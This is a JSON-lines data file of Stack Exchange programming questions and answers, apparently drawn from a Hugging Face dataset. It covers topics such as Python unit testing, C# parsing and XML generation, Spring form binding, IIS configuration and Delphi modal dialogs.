{"id": "hf_69ba2b154351", "question": "<p>If I'm writing unit tests in Python (using the unittest module), is it possible to output data from a failed test, so I can examine it to help deduce what caused the error?</p>\n<p>I am aware of the ability to create a customized message, which can carry some information, but sometimes you might deal with more complex data, that can't easily be represented as a string.</p>\n<p>For example, suppose you had a class Foo, and were testing a method bar, using data from a list called testdata:</p>\n<pre><code>class TestBar(unittest.TestCase):\n    def runTest(self):\n        for t1, t2 in testdata:\n            f = Foo(t1)\n            self.assertEqual(f.bar(t2), 2)\n</code></pre>\n<p>If the test failed, I might want to output t1, t2 and/or f, to see why this particular data resulted in a failure. By output, I mean that the variables can be accessed like any other variables, after the test has been run.</p>\n", "question_body": "", "answer": "You can use simple print statements, or any other way of writing to standard output.  You can also invoke the Python debugger anywhere in your tests.\nIf you use\nnose\nto run your tests (which I recommend), it will collect the standard output for each test and only show it to you if the test failed, so you don't have to live with the cluttered output when the tests pass.\nnose\nalso has switches to automatically show variables mentioned in asserts, or to invoke the debugger on failed tests.  For example,\n```\n-s\n```\n(\n```\n--nocapture\n```\n) prevents the capture of standard output.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.959567"}
{"id": "hf_d03ef091cdb5", "question": "<p>How do you get the current directory where your app is running?  </p>\n", "question_body": "", "answer": "You could try this:\n```\n```\nusing System.IO;\nusing System.Reflection;\n\nnamespace Utilities\n{\n    static public class DirectoryHelper\n    {\n        static public string GetCurrentDirectory ()\n        {\n            return Path.GetDirectoryName (Assembly.GetExecutingAssembly ().GetName ().CodeBase);\n        }\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:06.994776"}
{"id": "hf_477038e76ceb", "question": "<p>I am working on an application where I have an images folder relative to my application root. I want to be able to specify this relative path in the Properties -> Settings designer eg. \"\\Images\\\". The issue I am running into is in cases where the Environment.CurrentDirectory gets changed via an OpenFileDialog the relative path doesn't resolve to the right location. Is there a way to specifiy in the Settings file a path that will imply to always start from the application directory as opposed to the current directory? I know I can always dynamically concatenate the application path to the front of the relative path, but I would like my Settings property to be able to resolve itself.</p>\n", "question_body": "", "answer": "As far as I know, there is no built-in functionality that will allow this type of path resolution. Your best option is to dynamically determine the applications executing directory and concatenate to it your images path. You don't want to use\n```\nEnvironment.CurrentDirectory\n```\nspecifically for the reasons you mention - the current directory may not always be correct for this situation.\nThe safest code I've found to find the executing assembly location is this:\n```\n```\npublic string ExecutingAssemblyPath()\n{\n   Assembly actualAssembly = Assembly.GetEntryAssembly();\n   if (this.actualAssembly == null)\n   {\n      actualAssembly = Assembly.GetCallingAssembly();\n   }\n   return actualAssembly.Location;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.066959"}
{"id": "hf_7c9e7b25ded6", "question": "<p>I'm currently refactoring code to replace Convert.To's to TryParse.</p>\n\n<p>I've come across the following bit of code which is creating and assigning a property to an object.</p>\n\n<pre><code>List&lt;Person&gt; list = new List&lt;Person&gt;();\n\nforeach (DataRow row in dt.Rows)\n{\n     var p = new Person{ RecordID = Convert.ToInt32(row[\"ContactID\"]) };\n\n     list.Add(p);\n}\n</code></pre>\n\n<p>What I've come up with as a replacement is:</p>\n\n<pre><code>var p = new Person { RecordID = Int32.TryParse(row[\"ContactID\"].ToString(), out RecordID) ? RecordID : RecordID };\n</code></pre>\n\n<p>Any thoughts, opinions, alternatives to what I've done?</p>\n", "question_body": "", "answer": "Write an extension method.\n```\n```\npublic static Int32? ParseInt32(this string str) {\n    Int32 k;\n    if(Int32.TryParse(str, out k))\n        return k;\n    return null;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.090732"}
{"id": "hf_446413c40f4a", "question": "<p>I've just been tasked with building a web application using ASP (.net) and am looking for some advice on where to start.   In a nutshell the application needs to be able to.</p>\n\n<ul>\n<li>Handle user verification / authentication</li>\n<li>Handle sessions</li>\n<li>Do SOAP messaging</li>\n</ul>\n\n<p>The application is intended to act as a front end for system functions that are accessible via web service calls.</p>\n\n<p>I intend to do a lot of work on the client side using JavaScript and am thinking of using ASP solely as the framework for the 3 items I listed above.</p>\n\n<p>Appreciate any suggestions you may have.</p>\n", "question_body": "", "answer": "WCF for Soap -- I would also suggest picking this up:\nalt ASP.NET 3.5 http://ecx.images-amazon.com/images/I/518N8vYWf1L._SL500_AA240_.jpg\nThis book is in tutorial form -- and Jesse Liberty is a great teacher (as are his co-authors).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.114754"}
{"id": "hf_8c7c9e967930", "question": "<p>My class contains a <code>Dictionary&lt;T, S&gt; dict</code>, and I want to expose a <code>ReadOnlyCollection&lt;T&gt;</code> of the keys. How can I do this without copying the <code>Dictionary&lt;T, S&gt;.KeyCollection dict.Keys</code> to an array and then exposing the array as a <code>ReadOnlyCollection</code>?  </p>\n\n<p>I want the  <code>ReadOnlyCollection</code> to be a proper wrapper, ie. to reflect changes in the underlying Dictionary, and as I understand it copying the collection to an array will not do this (as well as seeming inefficient - I don't actually want a new collection, just to expose the underlying collection of keys...). Any ideas would be much appreciated!</p>\n\n<p>Edit: I'm using C# 2.0, so don't have extension methods such as .ToList (easily) available.  </p>\n", "question_body": "", "answer": "If you really want to use ReadOnlyCollection<T>, the issue is that the constructor of ReadOnlyCollection<T> takes an IList<T>, while the KeyCollection of the Dictionary is only a ICollection<T>.\nSo if you want to wrap the KeyCollection in a ReadOnlyCollection, you'll have to create an adapter (or wrapper) type, implementing IList<T>, wrapping the KeyCollection. So it would look like:\n```\n```\nvar dictionary = ...;\nvar readonly_keys = new ReadOnlyCollection<T> (new CollectionListWrapper<T> (dictionary.Keys)\n);\n```\n```\nNot very elegant though, especially as the KeyCollection is already a readonly collection, and that you could simply pass it around as an ICollection<T> :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.138752"}
{"id": "hf_c0f37ccc934a", "question": "<p>How do I build an escape sequence string in hexadecimal notation. </p>\n\n<p>Example:</p>\n\n<pre><code>string s = \"\\x1A\"; // this will create the hex-value 1A or dec-value 26\n</code></pre>\n\n<p>I want to be able to build strings with hex-values between 00 to FF like this (in this example 1B)</p>\n\n<pre><code>string s = \"\\x\" + \"1B\"; // Unrecognized escape sequence\n</code></pre>\n\n<p>Maybe there's another way of making hexadecimal strings...</p>\n", "question_body": "", "answer": "You don't store hexadecimal values in strings.\nYou can, but it would just be that, a string, and would have to be cast to an integer or a byte to actually read its value.\nYou can assign a hexadecimal value as a literal to an int or a byte though:\n```\n```\nByte value = 0x0FF;\nint value = 0x1B;\n```\n```\nSo, its easily possible to pass an hexadecimal literal into your string:\n```\n```\nstring foo = String.Format(\"{0} hex test\", 0x0BB);\n```\n```\nWhich would create this string \"126 hex test\".\nBut I don't think that's what you wanted?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.184415"}
{"id": "hf_8e1b9191305b", "question": "<p>What is the best way to do cross-platform handling of hidden files?\n(preferably in Python, but other solutions still appreciated)</p>\n\n<p>Simply checking for a leading '.' works for *nix/Mac, and file attributes work on Windows. However, this seems a little simplistic, and also doesn't account for alternative methods of hiding things (.hidden files, etc.). Is there a standard way to deal with this?</p>\n", "question_body": "", "answer": "\"Is there a standard way to deal with this?\"  Yes.  Use a standard (i.e., POSIX-compliant) OS.\nSince Windows is non-standard -- well -- there's no applicable standard.  Wouldn't it be great if there was?  I feel your pain.\nAnything you try to do that's cross-platform like that will have Win32 oddities.\nYour solution is -- for the present state of affairs -- excellent.  At some point in the future, Microsoft may elect to write a POSIX-compliant OS.  Until then, you're coping well with the situation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.254345"}
{"id": "hf_6c1016430b59", "question": "<p>I am using a Flex dataGrid, and need to sort some of my columns numerically.<br>\nLooking at the sortCompareFunction, it seems like i need to create a different function for each column that i want to sort, because my sort function has to know what field it is sorting on.  </p>\n\n<p>Is there any way that I can pass the field to be sorted on into the function? so that I only need one numeric sorting function.</p>\n", "question_body": "", "answer": "I did it using this function:\n```\nfunction fieldNumericSorter(field:String):Function {\n    return function (obj1:Object, obj2:Object):int {\n        return sign( int(obj1[field]) - int(obj2[field]) );\n    }\n}\n```\nand for each column that needed sorting set\n```\ncolToBeSorted.sortCompareFunction = fieldNumericSorter(\"fieldname\");\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.300739"}
{"id": "hf_45844ac85852", "question": "<pre><code>public class Item\n{\n        private int  _rowID;\n        private Guid _itemGUID;\n\n        public Item() { }\n\n        public int Rid\n        {\n            get\n            {\n                return _rowID;\n            }\n            set {  }\n\n        }\n\n        public Guid IetmGuid\n        {\n            get\n            {\n                return _itemGuid;\n            }\n            set\n            {\n                _itemGuid= value;\n            }\n\n        }\n\n}    \n</code></pre>\n\n<p>The above is my custom object.</p>\n\n<p>I have a list:</p>\n\n<pre><code>List&lt;V&gt; myList = someMethod;\n</code></pre>\n\n<p>where V is of type Item, my object.</p>\n\n<p>I want to iterate and get the properties as such</p>\n\n<pre><code>foreach(V element in mylist)\n{\n   Guid test = element.IetmGuid; \n}\n</code></pre>\n\n<p>When I debug and look at the 'element' object I can see all the properties in the 'Quickwatch' but I cannot do element.IetmGuid.</p>\n", "question_body": "", "answer": "```\n```\nforeach( object element in myList ) {\n    Item itm = element as Item;\n    if ( null == itm ) { continue; }\n    Guid test = itm.ItemGuid;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.371936"}
{"id": "hf_6a2c2bda47db", "question": "<p>So let's say you wanted to make a copy of a Web Form page within a .Net Project.  </p>\n\n<p>Is there an easier way than:</p>\n\n<ol>\n<li>Copy Source Page</li>\n<li>Page Source Page within project to get new page</li>\n<li>Exclude Source Page </li>\n<li>Rename code behind class for new page</li>\n<li>Add Source Page Back</li>\n</ol>\n\n<p>Sometimes I miss something obvious is there a better way to do this?  I know the next question would be \"Why are you copying code within a project instead for reusing it?\"  Let's just say that's a secret;).  </p>\n", "question_body": "", "answer": "I do this:\nSelect the original ASPX file in solution explorer\nCtrl+C followed by Ctrl+V (quick copy paste)\nRename new ASPX file (let's say NewFile.aspx)\nRename code-behind class name to NewFile\nRename\n```\nInherits\n```\nattribute of\n```\nPage\n```\ndirective within HTML to end with 'NewFile'\n(Optional) If you moved the page into a different folder, you'll need to update the Namespace references in the HTML's\n```\nPage\n```\ndirective as well as in the code-behind.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.419671"}
{"id": "hf_4d7188064133", "question": "<p>As part of our build process I need to set the version information for all of our compiled binaries. Some of the binaries already have version information (added at compile time) and some do not. </p>\n\n<p>I want to be able to apply the following information:</p>\n\n<ul>\n<li>Company Name </li>\n<li>Copyright Notice</li>\n<li>Product Name </li>\n<li>Product Description</li>\n<li>File Version </li>\n<li>Product Version</li>\n</ul>\n\n<p>All of these attributes are specified by the build script and must be applied after compilation. These are standard binaries (not assemblies) compiled with C++ Builder 2007.</p>\n\n<p>How can I do this?</p>\n", "question_body": "", "answer": "There is this tool\nChangeVersion\n[1]\nList of features (from the website):\ncommand line interface\nsupport for .EXE, .DLL and .RES files\nupdate FileVersion and ProductVersion based on a version mask\nadd/change/remove version key strings\nadjust file flags (debug, special, private etc)\nupdate project files ( .bdsproj | .bpr | .bpk | .dproj )\nadd/change main application icon\nuse ini file with configuration\nWindows Vista support (needs elevation)\neasy to integrate into a continuous build environment\nFull Disclosure: I know the guy who wrote this tool, I used to work with him.  But this also means that I know he makes quality software ;)\n[1]\nthe link is dead. There seems to be mirrored version at\ndownload.cnet.com\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.468958"}
{"id": "hf_415664c6d57b", "question": "<p>If I have an xmlreader instance how can I use it to read its current node and end up with a xmlElement instance?</p>\n", "question_body": "", "answer": "Not tested, but how about via an\n```\nXmlDocument\n```\n:\n```\n```\nXmlDocument doc = new XmlDocument();\n    doc.Load(reader);\n    XmlElement el = doc.DocumentElement;\n```\n```\nAlternatively (from the cmoment), something like:\n```\n```\ndoc.LoadXml(reader.ReadOuterXml());\n```\n```\nBut actually I'm not a fan of that... it forces an additional xml-parse step (one of the more CPU-expensive operations) for no good reason. If the original is being glitchy, then perhaps consider a sub-reader:\n```\n```\nusing (XmlReader subReader = reader.ReadSubtree())\n    {\n        XmlDocument doc = new XmlDocument();\n        doc.Load(subReader);\n        XmlElement el = doc.DocumentElement;\n    }\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.503352"}
{"id": "hf_a3a7f75f6613", "question": "<p>We're using Infragistics grid (most probably, we'll have 8.2 version at the end) and we want to configure row/cells appearances \"on-demand\" in order to be able to provide sort of \"dynamic appearance\".</p>\n\n<p>For example, I want some cell to be red or green, depending on its value. We might want to tweak other characteristics as well (font, size, image, etc).</p>\n\n<p>A perfect place to do it would be some event, that happen before a cell gets repainted... But it seems there is no such event in Infragistics...</p>\n\n<p>Or am I wrong? Any help?</p>\n\n<p><strong>Clarification:</strong> I'm talking about WinForms Infragistics UltraGrid</p>\n", "question_body": "", "answer": "There is an event.  I don't remember exactly what it's called, but it's got to be something like 'DataRowBound' or 'ItemDataBinding', etc..\nAlso,\nthis article\nmight help.\nNot that this has anything to do with your question, but I'd stay away from heavy use of Infragistics controls - they're very heavy and will slow down the page rendering process considerably.  Just my $0.02.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.563926"}
{"id": "hf_0f27610ceab0", "question": "<p>How can I generate valid XML in C#?</p>\n", "question_body": "", "answer": "It depends on the scenario.\n```\nXmlSerializer\n```\nis certainly one way and has the advantage of mapping directly to an object model. In .NET 3.5,\n```\nXDocument\n```\n, etc. are also very friendly. If the size is very large, then\n```\nXmlWriter\n```\nis your friend.\nFor an\n```\nXDocument\n```\nexample:\n```\n```\nConsole.WriteLine(\n    new XElement(\"Foo\",\n        new XAttribute(\"Bar\", \"some & value\"),\n        new XElement(\"Nested\", \"data\")));\n```\n```\nOr the same with\n```\nXmlDocument\n```\n:\n```\n```\nXmlDocument doc = new XmlDocument();\nXmlElement el = (XmlElement)doc.AppendChild(doc.CreateElement(\"Foo\"));\nel.SetAttribute(\"Bar\", \"some & value\");\nel.AppendChild(doc.CreateElement(\"Nested\")).InnerText = \"data\";\nConsole.WriteLine(doc.OuterXml);\n```\n```\nIf you are writing a\nlarge\nstream of data, then any of the DOM approaches (such as\n```\nXmlDocument\n```\n/\n```\nXDocument\n```\n, etc.) will quickly take a lot of memory. So if you are writing a 100 MB XML file from\nCSV\n, you might consider\n```\nXmlWriter\n```\n; this is more primitive (a write-once firehose), but very efficient (imagine a big loop here):\n```\n```\nXmlWriter writer = XmlWriter.Create(Console.Out);\nwriter.WriteStartElement(\"Foo\");\nwriter.WriteAttributeString(\"Bar\", \"Some & value\");\nwriter.WriteElementString(\"Nested\", \"data\");\nwriter.WriteEndElement();\n```\n```\nFinally, via\n```\nXmlSerializer\n```\n:\n```\n```\n[Serializable]\npublic class Foo\n{\n    [XmlAttribute]\n    public string Bar { get; set; }\n    public string Nested { get; set; }\n}\n...\nFoo foo = new Foo\n{\n    Bar = \"some & value\",\n    Nested = \"data\"\n};\nnew XmlSerializer(typeof(Foo)).Serialize(Console.Out, foo);\n```\n```\nThis is a nice model for mapping to classes, etc.; however, it might be overkill if you are doing something simple (or if the desired XML doesn't really have a direct correlation to the object model). Another issue with\n```\nXmlSerializer\n```\nis that it doesn't like to serialize immutable types : everything must have a public getter\nand\nsetter (unless you do it all yourself by implementing\n```\nIXmlSerializable\n```\n, in which case you haven't gained much by using\n```\nXmlSerializer\n```\n).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.594553"}
{"id": "hf_9b6ed8123996", "question": "<p>I'm trying to bind one of my model objects to the fields of a form, using Spring-MVC. Everything works fine, except that one of the attributes of the model object is an unordered collection. Doing something like</p>\n\n<pre><code>    &lt;c:forEach items=\"${m.items}\" var=\"i\" varStatus=\"itemsRow\"&gt;\n      &lt;form:input path=\"items[${itemsRow.index}]\"/&gt;\n    &lt;/c:forEach&gt;\n    &lt;form:errors path=\"items\" /&gt;\n</code></pre>\n\n<p>would work fine for a List-type property, but for a Set throws an error when, upon submit, it tries to bind input field content to object attributes.</p>\n\n<p>Is there something in Spring that works out of the box with Sets?</p>\n", "question_body": "", "answer": "I think it has to be an ordered collection.  For example,there's\na chart\nin the Spring reference that talks about how to reference properties.  It says:\naccount[2]    Indicates the third element\n  of the indexed property account.\n  Indexed properties can be of type\n  array, list or other\nnaturally ordered\ncollection (emphasis theirs)\nPerhaps one approach would be to add a getter to your object that, rather than returning your Set, returns Set.toArray().  Then your items attribute would reference the array.  Of course, you can't depend on the ordering.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.685350"}
{"id": "hf_bb835ae2d9fc", "question": "<p>I'm using <a href=\"http://sourceforge.net/projects/nusoap/\" rel=\"nofollow noreferrer\">nusoap</a> to connect to a soap webservice. The xml that the class sends to the service is constructed from an array, ie:</p>\n\n<pre><code>$params = array(\"param1\" =&gt; \"value1\", \"param2\" =&gt; \"value1\");\n$client-&gt;call('HelloWorld', $params, 'namespace', 'SOAPAction');\n</code></pre>\n\n<p>This works fine. A multidimensional array also constructs a nice nested xml message. </p>\n\n<p>I encounter a problem when i need two tags with the same name:</p>\n\n<pre><code>&lt;items&gt;\n   &lt;item&gt;value 1&lt;/item&gt;\n   &lt;item&gt;value 2&lt;/item&gt;\n&lt;/item&gt;\n\n$params = array(\"items\" =&gt; array(\"item\" =&gt; \"value 1\", \"item\" =&gt; \"value 2\"));\n</code></pre>\n\n<p>The second item in the array overwrites the first which results in:</p>\n\n<pre><code>&lt;items&gt;\n   &lt;item&gt;value 2&lt;/item&gt;\n&lt;/item&gt;\n</code></pre>\n\n<p>How can achieve this?</p>\n", "question_body": "", "answer": "The problem is with the inner array()\n```\n```\n$test_array = array(\"item\" => \"value 1\", \"item\" => \"value 2\");\n```\n```\ncreates an array with a single key (\"item\").\nTry this and see if it works:\n```\n```\n$params = array(\"items\" => array(\"item\" => array(\"value 1\", \"value 2\")));\n```\n```\nNo guarantees, though... I haven't used nusoap in a\nlong\ntime and don't have PHP installed here to test it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.777857"}
{"id": "hf_a1ccc1168c84", "question": "<p>I'm using system catalog views such as SYS.ALL_ OBJECTS, SYS.FOREIGN_KEYS etc. to get information about my database structure in MS SQL 2005. </p>\n\n<p>Are there equivalent functions/views for MySQL (v. 5) servers? </p>\n", "question_body": "", "answer": "Hmm, I haven't studied everything it contains, but there's a good deal of information in the\ninformation_schema\n.  There's also the\nshow\ncommand.\nStill, I don't see a single command to show all the foreign keys in there.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.823324"}
{"id": "hf_2cc2f81b31f4", "question": "<p>I would like to add a backcolor for specific line depending of a Property of the object binded.</p>\n\n<p>The solution I have (and it works) is to use the Event <code>DataBindingComplete</code> but I do not think it's the best solution.</p>\n\n<p>Here is the event:</p>\n\n<pre><code>    private void myGrid_DataBindingComplete(object sender, DataGridViewBindingCompleteEventArgs e)\n    {\n\n        for (int i = 0; i &lt; this.myGrid.Rows.Count; i++)\n        {\n            if((this.myGrid.Rows[i].DataBoundItem as MyObject).Special)\n            {\n                this.myGrid.Rows[i].DefaultCellStyle.BackColor = Color.FromArgb(240, 128, 128);\n            }\n        }\n    }\n</code></pre>\n\n<p>Any other option that would be better?</p>\n", "question_body": "", "answer": "I don't really work with WinForms that much, but in ASP you would use the 'ItemDataBound' method.  Is there something similar in windows forms for a DataGrid?\nIf so, in that method, the event arguments would contain the item that was databound, along with the DataGrid row.  So the general code would look something like this (syntax is probably off):\n```\n```\nif(((MyObject)e.Item.DataItem).Special)\n   e.Item.DefaultCellStyle.BackColor = Color.FromArgb(240, 128, 128);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.846580"}
{"id": "hf_cc1b111c758a", "question": "<p>Is it possible to have two virtual directories under the same website in IIS but have the virtual directories be using different versions of the .net framework?</p>\n\n<p>For example, under the default website, can I have one virtual directory targeting the 2.0 framework and a second virtual directory targeting the 1.1 framework?</p>\n\n<p>This is for IIS 6, thanks!</p>\n", "question_body": "", "answer": "You are not saying which version of IIS you are using, but for 6.0 and up, just assign them to different application pools, and set the pools to use the right version of .Net.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.905578"}
{"id": "hf_f28c98ff3921", "question": "<p>We're developing a product that relies on the Microsoft Sync Framework to keep the data on a client app and on the server in sync.  What we have noticed is when syncing about 16 tables and ~2200 records it will take about 4 minutes, which is not acceptable.</p>\n\n<p>Using the SQL Server Profiler we found it is using sp_executesql to execute the queries.  when run without sp_executesql a specific query runs in &lt;1s, but with it takes over 10s.</p>\n\n<p>So the question is: What are we doing wrong and is there anything we can do to speed it up.</p>\n", "question_body": "", "answer": "sp_executesql is using dynamic sql. each row is being processed singularly.\n4 minutes seems rather long, you should look at the design of your 16 tables and check the performance on them. Try using the execution plan to view where the bottleneck may be occurring.\ncheck out this link that covers the basics:\nSQL Execution Plan basics\nTry scrolling down to the bottom of the article, where there are screen shots of the actual graphical interface in SQL Management Studio. There are some boring parts of the article, but you can atleast see the graphical execution plan and its benefits.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:07.952615"}
{"id": "hf_3545398816ea", "question": "<p><code>Html.TextBox(\"ParentPassword\", \"\", new { @class = \"required\" })</code></p>\n\n<p>what the gosh darned heck is the @ for the @class.</p>\n", "question_body": "", "answer": "```\nclass\n```\nis a reserved keyword, so you can't use this as a variable name.\nThe @ operator allows you to get around this rule.  The reason why its being done here is that the anonymous object is used to populate attributes on a HTML element.  A valid attribute name is \"class\", which lets you set the CSS class on the element.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.115113"}
{"id": "hf_6c709efa6fde", "question": "<p>I am writing a lib and a demo project. The project doesn't care which version of the lib I use (I can use sdl, directx or whatever I like as the gfx backend). To get the object I do </p>\n\n<pre><code>Obj *obj = libname_newDevice();\n</code></pre>\n\n<p>Now, should I use delete or should I do <code>obj-&gt;deleteMe();</code>? I ask because I am not exactly doing new so I shouldn't be doing the delete?</p>\n\n<p>I have <code>obj-&gt;create(theType);</code> which returns a class with the Obj interface.\nMy real question is do I need a <code>libname_deleteDevice();</code> or is <code>obj-&gt;deleteMe()</code> fine since I have a deleteMe in the interface?</p>\n", "question_body": "", "answer": "Since you are abstracting the creation inside\n```\nlibname_newDevice()\n```\n(which I have to say isn't a good approach), you should destroy using something like\n```\nlibname_destroyDevice (obj)\n```\n.\nAnd as the comment from Martin suggests, it's best to put them in the constructor and destructor of a custom class, that you just need to create on stack, and the compiler will take care of the rest.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.138779"}
{"id": "hf_7b3f8b695695", "question": "<p>I'm creating an interface wrapper for a class.  The member within the class is a reference(to avoid copying the large structure).  If I create a private constructor, what is the best way to initialize that reference to appease the compiler?</p>\n\n<pre><code>struct InterfaceWrapper {\n    InterfaceWrapper( SomeHugeStructure&amp; src ):m_internal(src){};\n    int someElement(void) const { return m_internal.someElement; };\nprivate:\n    InterfaceWrapper(){}  // initialize m_internal\n    SomeHugeStructure&amp; m_internal;\n};\n</code></pre>\n", "question_body": "", "answer": "If you really need to construct the class without having an element, a reference is not the way to go.\nIf your only reason to use a reference is to avoid copying, I'd suggest using a pointer.\nYou can simply take the address of the passed reference in you regular constructor, and initialize it to NULL in the private constructor. When the object's lifetime ends the pointer will be a dangling pointer, but the same is true for references...\nAlternatively, have the public constructor take a smart pointer and use such a smart pointer as member too, if you're concerned about lifetimes.\nAnd of course, cope with the pointer possibly being NULL in the remainder of the class' code. (but you had to cope with the member possible being a stub in the reference case too, so that's not really an issue)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.174257"}
{"id": "hf_214ebbb9de07", "question": "<p>I've got a timer running in my Delphi MDI application and I'd like to use it to pop up a message if something changes in the background. But I don't want that message to pop up when the the application has a modal dialog in the foreground because the user couldn't do anything about it. </p>\n\n<p>So what I'd like to know is how can I check for the existence of a modal dialog in my application?</p>\n", "question_body": "", "answer": "You could try with this code:\n```\n```\nvar\n  ActForm: TCustomForm;\nbegin\n  ActForm := Screen.ActiveForm;\n  if (ActForm = nil) or not (fsModal in ActForm.FormState) then begin\n\n  end;\nend;\n```\n```\nI tested with Delphi 4, works for me.\n[EDIT]: But you should really think about whether popping up a form and stealing focus is a good idea. It depends on your application, but if a user is currently entering something into an edit field, or doing something with the mouse, then this might break their workflow.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:31:08.213641"}
